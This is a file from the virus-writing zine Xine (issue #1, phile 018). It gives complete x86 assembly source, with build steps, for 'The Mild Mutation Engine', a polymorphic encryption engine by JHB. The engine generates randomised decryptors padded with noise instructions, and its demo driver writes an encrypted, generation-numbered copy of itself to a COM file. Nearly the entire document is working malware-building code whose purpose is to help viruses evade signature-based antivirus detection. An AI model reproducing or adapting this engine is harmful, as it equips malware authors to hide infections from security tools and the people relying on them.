home *** CD-ROM | disk | FTP | other *** search
-
- /-----------------------------\
- | Xine - issue #1 - Phile 018 |
- \-----------------------------/
-
- ;JHB presents
- ;The Mild Mutation Engine
- ;
- ;
- ;TO COMPILE
- ;tasm, tlink to exe
- ;then mk.bat to convert to com file
- ;mk.bat
- ;debug da1.exe
- ;nda1.com
- ;w
- ;q
-
- ;debug da1.com until the bp,bx then make bp = 0100
- ;go
- ;done
- ;------------------------------------------------------
- .286
- shift_loop equ 2
-
- code segment
- org 0h
- assume cs:code,ds:code
-
- start:
-
- virus_begin:
-
-
- virus_code:
- push ds es
-
-
- sub bx,offset virus_code
- mov bp,bx
-
- MOV Dl,byte PTR [GENERATION + bp]
- INC Dl
- MOV byte PTR [GENERATION +bp ],Dl
-
- ;ok start to set up for the call to the MME
- ;si - start of code to encrypted
- ;di = the buffer that will hold said decryptor and encrypted code
- ;cx = the lenght of the encrypted area
- ;dx = offset in the file for the decrytptor
- ;ax = size of the decryptor must be >26 bytes
- ;
- ;------------------------------------------------------------------------
- MOV DX,0100h ;MAKES THE RIGHT OFFSET FOR COM FILES
- mov bx,virus_size /2 ;size of code to encrypt
-
- mov si,offset virus_code
- add si,bp
-
- mov di,offset encrypt_buffer
- add di , bp
-
- mov ax,40h
-
- call encrypt_code
-
-
-
- mov ax,di ;figures the new file
- mov di,offset encrypt_buffer ;size
- add di , bp ;
- sub ax,di ;
- push ax ;
-
- ;create the file to write the code to
- mov ax,3c00h
- XOR CX,CX
- MOV DX,OFFSET file_name
- add dx,bp
- INT 21H
-
- PUSH AX
- POP BX
-
- MOV AX,4000H
- pop cx
- MOV DX,OFFSET encrypt_buffer
- add dx,bp
- INT 21H
-
- POP ES DS
- mov ax,4C00H
- int 21H
-
-
- ;-----------------------------------------------------------------------
- ;dx = to the offset of the decryptor
- ;bx = size in words of code to be encrytped
- ;di = the buffer where we will leave the code
- ;si = the source of the to be encrypted code
- ;ax = size requested
- ;
- encrypt_code:
- push ax cx
-
- push bx ;push the size of the code to
- ;be encrypted
- push dx ;offset into the file where
- ;the decryptor is to be
- push ax ;requested size of the
- ;decryptor
-
- try_again:
- xor ah,ah ; get time for random number
- int 1Ah
-
- and dx,00000110b ;binary mask to keep
- ;the cipher to 2 4 6
- cmp dx,0
- je try_again
- mov word ptr[shift_amt + bp],dx ; save encryption key
-
- pop cx
- mov word ptr ds:[size_requested + bp],cx ;requested size of
- ;decryptor
-
- pop cx ;sets up the offset
- mov word ptr ds:[code_offset + bp] ,cx ;for the code
-
- pop cx ;sets the size of
- mov word ptr ds:[virus_size_wd + bp],cx
- ;code to be encrypted
-
- push cs ; ES = CS
- pop es
-
-
-
-
-
- call make_decrypt
- ;at this point si = start of the code to be encrypted
- ;while di = the point in buffer for it to be placed
-
-
-
-
-
-
- ;----------------------------------------------------------------------
- ;EN-CRYPT_ROUTINE
- PUSH DX
-
-
- mov cx,VIRUS_SIZE / 2 + 1
- encrypt:
- MOV DX,word ptr [shift_amt + bp]
- lodsw ; encrypt virus code
-
- XCHG DX,CX
- KEEP_GOING:
- CLC
- SHR AX,1
- JNC NO_HIGH_BIT_EN
- ADD AX,1000000000000000B
- NO_HIGH_BIT_EN:
-
- DEC CX
- JCXZ DONE_2
- JMP SHORT KEEP_GOING
- DONE_2:
- stosw
-
- XCHG DX,CX
- loop encrypt
-
- pop DX cx ax
- ret
- ;EN-CRYPT_ROUTINE
- ;--------------------------------------------------------------------
- ;make decrypt routine
- ;data
-
- size_reg db 02h ;dx
- index_reg db 03h ;bx
- shift_reg db 01h ;cx
- holder_reg db 00h ;ax
-
- virus_size_wd dw 0 ;size of the code to be encrypted
- virus_start dw 0 ;where the code to encrypted is
- ; to be after it is encrypted
- ;determined by the MME
- SHIFT_AMT DW 02
-
- code_offset dw 0 ;used to determine where we are
- ;placing the decrytor
- decrytptor_sz dw 26h ;
- size_requested dw 40h
- ;virus_size + 25h ;which is the constant decryptor
- ;size
- rgs_used db 00010011b ;do not use sp ax cx
- ;1 00000001 ax = 000 0
- ;2 00000010 cx = 001 1
- ;4 00000100 dx = 010 2
- ;8 00001000 bx = 011 3
- ;10 00010000 sp = 100 4
- ;20 00100000 bp = 101 5
- ;40 01000000 si = 110 6
-
- ;80 10000000 di = 111 7
-
- ;ds:di = the start of the buffer where the decryptor is to be
-
-
- make_decrypt:
-
- mov bx,ds:[decrytptor_sz + bp] ; dw 26h
- mov ax,ds:[size_requested + bp] ; dw 30h
-
- cmp ax,bx
- jg size_is_ok
-
- mov ax,bx
- mov byte ptr ds:[noise_amount+ bp],0 ;total # bytes to add
- mov word ptr ds:[size_requested + bp],26h ;starts
- jmp short no_noise_wanted
-
- size_is_ok:
- sub ax,bx
- mov byte ptr ds:[noise_amount+ bp],al ;total # bytes to add
-
-
-
- no_noise_wanted:
-
- mov ax,ds:[code_offset + bp] ;where the virus
- add ax,ds:[size_requested + bp] ;starts
- mov ds:[virus_start + bp],ax ;
-
-
- ;here is where the calls to mutate each reg should be
- ;those calls will also determine what size reg 16 or 8 bit to use
- ;where they can be changed
-
- call set_regs_used
-
- call mut_index_reg
-
- call mut_reg
- mov BYTE PTR DS:[SIZE_REG + BP],DL
-
- call mut_reg
- mov BYTE PTR DS:[HOLDER_REG + BP],DL
-
- call mut_reg
- mov BYTE PTR DS:[SHIFT_REG + BP],DL
-
- ;----------------------------------------------------------------------
- ;this is where the actaul code generation starts
-
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
-
- mov aL,0B8H ;mov dx
- add aL,ds:[size_reg + bp]
- stosb
- mov ax,ds:[virus_size_wd + bp]
- stosw ;mov dx,virus_size/2
-
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
-
- mov aL,0b8h
- add aL,ds:[index_reg + bp] ;how long
- stosb
- mov ax,ds:[virus_start + bp]
- stosw ;mov bx, offset virus_code
-
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
-
- mov aL,050h ;push reg
- add aL,ds:[index_reg + bp]
- stosb ;push bx
-
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
- mov aL,0b8h ;MOV
- ADD aL,ds:[SHIFT_reg + bp]
- STOSB
- MOV AX,DS:[SHIFT_AMT + bp]
- STOSW ;MOV CX,SHIFT_LOOP
- push di ; use to figure jnz 3j
-
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------------
- MOV AL,02EH
- STOSB ;CS:
- ;-------------------------------------------
-
- MOV Al,8BH ;MOV
-
-
- MOV Ah,DS:[INDEX_REG + bp]
-
- CMP Ah,03H ;BX
- JNE NXT1 ;
- MOV Ah,07H ;THE OFFSET BX
- JMP SHORT DONE1
-
- NXT1: CMP Ah,06H ;SI
- JNE NXT2 ;
- MOV Ah,04H
- JMP SHORT DONE1
-
- NXT2: MOV Ah,05H
-
- DONE1:
- MOV DL,DS:[holder_reg + bp]
- shl dl,3
- mov dh,11000111b ;zero out the rrr part
-
- and Ah,dh
- or Ah,dl ;put the value in
- STOSW ;MOV AX, CS:[BX]
- push di ;used for size figure for jmp 2j
-
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;-----------------------------------------------------------
-
- MOV AL,0F8H
- STOSB ;clc
- ;----------------------------------------------------------------
- ; THIS AREA CAN BE MUTATED SEVERAL WAYS AT LEAST 4
- ; D1 E0 90, D1 F0 90, C1 E0 01, C1 F0 01
-
- mov dl,byte ptr ds:[SIZE_REG + BP]
- DB 0F6H, 0CAH, 01H ;OTHER FORM OF TEST
- ;TEST DL,01H
- ;JNE C1_CODE ;
-
- JMP C1_CODE
-
- mov al,0D1h ;
- JMP SHORT WRITE_IT ;
-
- C1_CODE:
- MOV AL,0C1h
-
- WRITE_IT:
-
- ;TEST DL,02H
- DB 0F6H, 0CAH, 02H ;OTHER FORM OF TEST
- ;jne Fo_code
-
- JMP FO_CODE
- mov ah,0E0h
- jmp short write_2
-
- Fo_code:
- mov ah,0F0h
-
-
-
- write_2:
- add ah,ds:[holder_reg + bp]
- stosw ;shl ax,1
- cmp al,0c1h
- je need_1
- INC byte ptr DS:[NOISE_AMOUNT + BP]
- JMP SHORT NO_NEED_01
-
- need_1:
- mov al,01
- stosb
-
- NO_NEED_01:
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
-
- mov al,073h
- stosb
- call get_noise
- mov al,01h ;go one byte
- add al,bl ;how much noise
- stosb ;
- ;jnb ???
- ;determine how many bytes the next
- ;instuction takes before and after it
- ;put that value in second al
- call set_noise
-
- ;----------------------------------------------------------------
- mov al,40h
- add al,ds:[holder_reg + bp]
- stosb ;inc ax
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
- mov al,48h
- add al,ds:[shift_reg + bp]
- stosb ;dec cx
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
-
- mov al,83h
- stosb
- mov al,0f8h
- add al,ds:[shift_reg + bp]
- mov ah,00
- stosw ;cmp cx,0
-
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
-
- mov al,074h
- stosb
-
- mov al,02h ;again must track for variable
- call get_noise ;noise type instrusctions
- add al,bl
- stosb ;jz ???
- call set_noise
-
- ;----------------------------------------------------------------
- mov al,0ebh
- stosb ;again must track for variable
-
- mov bx,di
- pop ax
- sub ax,bx
- dec ax
- ;mov al,0f1h ;noise instruction
- stosb ;jmp ??? jmp 010f
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
-
- mov al,2eh
- stosb ;cs:
- ;------------------------------------------------------------
- mov al,089h
-
- MOV Ah,DS:[INDEX_REG + bp]
-
- CMP Ah,03H ;BX
- JNE NXT1a ;
- MOV Ah,07H ;THE OFFSET BX
- JMP SHORT DONE1a
-
- NXT1a: CMP Ah,06H ;SI
- JNE NXT2a ;
- MOV Ah,04H
- JMP SHORT DONE1a
-
- NXT2a: MOV Ah,05H
-
- DONE1a:
- MOV DL,DS:[holder_reg + bp]
- shl dl,3
- mov dh,11000111b ;zero out the rrr part
-
- and Ah,dh
- or Ah,dl ;put the value in
- STOSW ;MOV CS:[BX],AX
-
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
-
- mov al,83h
- stosb
- mov al,0c0h
- add al,ds:[index_reg + bp]
- mov ah,02
- stosw ;add bx,2
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
- mov al,48h
- add al,ds:[size_reg + bp]
- stosb ;dec dx
-
- ;----------------------------------------------------------
- call get_noise
- call set_noise
- ;----------------------------------------------------------
- mov bx,di
- pop ax
- sub ax,bx
- xor ah,ah
- sub al,5
- xchg al,ah
- mov al,075h ;jnz
- ;mov ah,0e2h ;again needs to variable
- stosw
- ;----------------------------------------------------------------
- mov al,05bh
- stosb ;pop bx
- ;----------------------------------------------------------------
- ;should put in any missing bytes to fill in the end
- ;
- more_bytes_needed:
-
- mov bl,ds:[noise_amount + bp]
- cmp bl,0
- je outta_here
- call set_noise
- cmp ds:[noise_amount + bp],0
- je more_bytes_needed
- outta_here:
- ret
-
- ;----------------------------------------------------------------
- get_noise: ;determine #noise bytes
- push dx
- xor dx,dx
-
- cmp byte ptr ds:[noise_amount + bp],0
- je do_not_need
-
- cmp byte ptr ds:[noise_amount + bp],1
- je only_one_needed
-
- too_big:
- get_more:
- call get_random ; 0-7 bytes in dl
-
- ok_1:
- cmp dl,byte ptr ds:[noise_amount + bp]
- jg too_big
-
- mov bx,dx
-
- do_not_need:
- pop dx
- ret ;
-
- only_one_needed:
- mov bx,01
- jmp short do_not_need
- ;---------------------------------------------------------------
- noise_amount db 0
- ;---------------------------------------------------------------
- last_noise db 0
- ;---------------------------------------------------------------
- ;1 00000001 ax = 000 0
- ;2 00000010 cx = 001 1
- ;4 00000100 dx = 010 2
- ;8 00001000 bx = 011 3
- ;10 00010000 sp = 100 4
- ;20 00100000 bp = 101 5
- ;40 01000000 si = 110 6
- ;80 10000000 di = 111 7
-
- ;---------------------------------------------
- len_4 equ end_noise_4 - noise_4
- noise_4:
- push ax ;1
- int 11h ;2
- pop ax ;1
- end_noise_4:
- ;---------------------------------------------
- len_6 equ end_noise_6 - noise_6
- noise_6:
- push ax ;1
- mov ax,0200h ;3
- int 16h ;2
- pop ax ;1
- end_noise_6:
- ;---------------------------------------------
-
- len_7 equ end_noise_7 - noise_7
- noise_7:
- push ax
- mov ax,1200h
- int 16h
- pop ax
- end_noise_7:
- ;---------------------------------------------
- ;
- ;on entry
- ;bl = number of bytes we want to use
- ;bh = flags to what we can not use
- ;also use the rgs_used used flag to allow usage of other regs
- ;in the do nothing routines
-
- set_noise:
- ;cmp bh,00h
-
- CMP BL,0
- jne bytes_needed
- ret
-
- bytes_needed:
- push ax cx
- xor cx,cx
- mov cl,byte ptr ds:[noise_amount + bp]
- cmp cl,0
- je no_more_bytes_need
-
-
- cmp bl,4
- je add4
-
- ;CMP BL,6
- ;JE ADD6
-
- cmp cl,7
- jge add7
-
-
- put_more:
- mov al,090h
- stosb
- dec cx
- dec bl
- cmp bl,0
- jne put_more
-
- d_add7:
- mov byte ptr ds:[noise_amount + bp],cl
-
- no_more_bytes_need:
-
- pop cx ax
- ret
-
- ;---------------------------------------------
- add7:
- push cx si
- mov si,offset noise_7
- add si,bp
- mov cx,len_7
- rep movsb
- pop si cx
- sub cx,7
- jmp short d_add7
- ;---------------------------------------------
- add4:
- push cx
-
- xor cx,cx
- call chk_new_reg
- jc need_to_save_ax
-
- mov ax,11cdh
- stosw
- pop cx
- dec cx
- dec cx
- jmp short d_add7
-
- need_to_save_ax:
- push si
- mov si,offset noise_4
- add si,bp
- mov cx,len_4
- rep movsb
- pop si cx
- sub cx,4
- jmp short d_add7
- ;---------------------------------------------
- add6:
- push cx si
- mov si,offset noise_6
- add si,bp
- mov cx,len_6
- rep movsb
- pop si cx
- sub cx,6
- jmp short d_add7
-
- ;----------------------------------------------------------------
- ;int 21 30 ax, ax bx cx -> get dos function
- ;int 21 20 ax, ax -> null function for cpm
- ;int 21 18 ax, ax -> null function for cpm
- ;int 21 0b ax, ax -> gets stdin input
- ;int 21 0d ax, ax -> disk reset
- ;int 21 06 ah dl = ffh, al -> direct console input
- ;int 13 10 ax dl, ax cf ->check if drive is ready
- ;int 16 12 ax, ax -> get extended shift states
- ;int 17 ah,dx ah -> get printer status
- ;
- ;----------------------------------------------------------------
- last_random db 0
-
- get_random:
- push ax cx
-
- new_random:
-
- xor ah,ah
- int 1ah
- and dl,00000111b
- cmp dl,ds:[last_random+bp]
- je new_random
- mov byte ptr ds:[last_random+bp],dl
- pop cx ax
- ret
- ;----------------------------------------------------------------
- ;----------------------------------------------------------------
- set_regs_used:
- push ax
- mov al,00010000b ;sp
- mov byte ptr ds:[rgs_used + bp],al
- pop ax
- ret
- ;----------------------------------------------------------------
- mut_index_reg:
- pusha
-
- try_again_i:
- call get_random
-
- cmp dl,0
- je try_again_i
- or dl,00000010b
- cmp dl,2
- je try_again_i
-
- mov cl,dl
- call chk_new_reg
- jc try_again_i
- mov byte ptr ds:[index_reg + bp],dl
-
- popa
- ret
- ;=====================================================================
- mut_reg:
- push cx
- try_again_s:
- call get_random
-
- mov cl,dl
- call chk_new_reg
- jc try_again_s
-
-
- pop cx
- ret
- ;======================================================================
-
-
-
- ;======================================================================
- ;on call
- ;cl = the reg to use in the rrr format like cx = 001
- ;if ok then c is not set and rgs_used is set
- ;if no good then c is set
-
- chk_new_reg:
-
- pusha
- xor ax,ax
- inc ax
-
- shl al,cl
- push ax
-
- and al,byte ptr ds:[rgs_used + bp]
- jz ok_to_use
-
- stc
- pop ax
- jmp short problem
- ok_to_use:
- ;this area will set the rgs_used flags
-
- pop ax
- or byte ptr ds:[rgs_used + bp],al
- problem:
- popa
- ret
- ;----------------------------------------------------------------
-
-
-
- ;----------------------------------------------------------------
- file_name db "TEST"
- GENERATION DB "A"
- EXT DB ".COM",0
- bufferjhb db 0
- virus_end:
-
- VIRUS_SIZE equ OFFSET virus_end - OFFSET virus_begin
- read_buffer db 28 dup (?) ; read buffer
- encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
-
- end_heap:
-
- MEM_SIZE equ end_heap - start
-
- code ends
- end start
-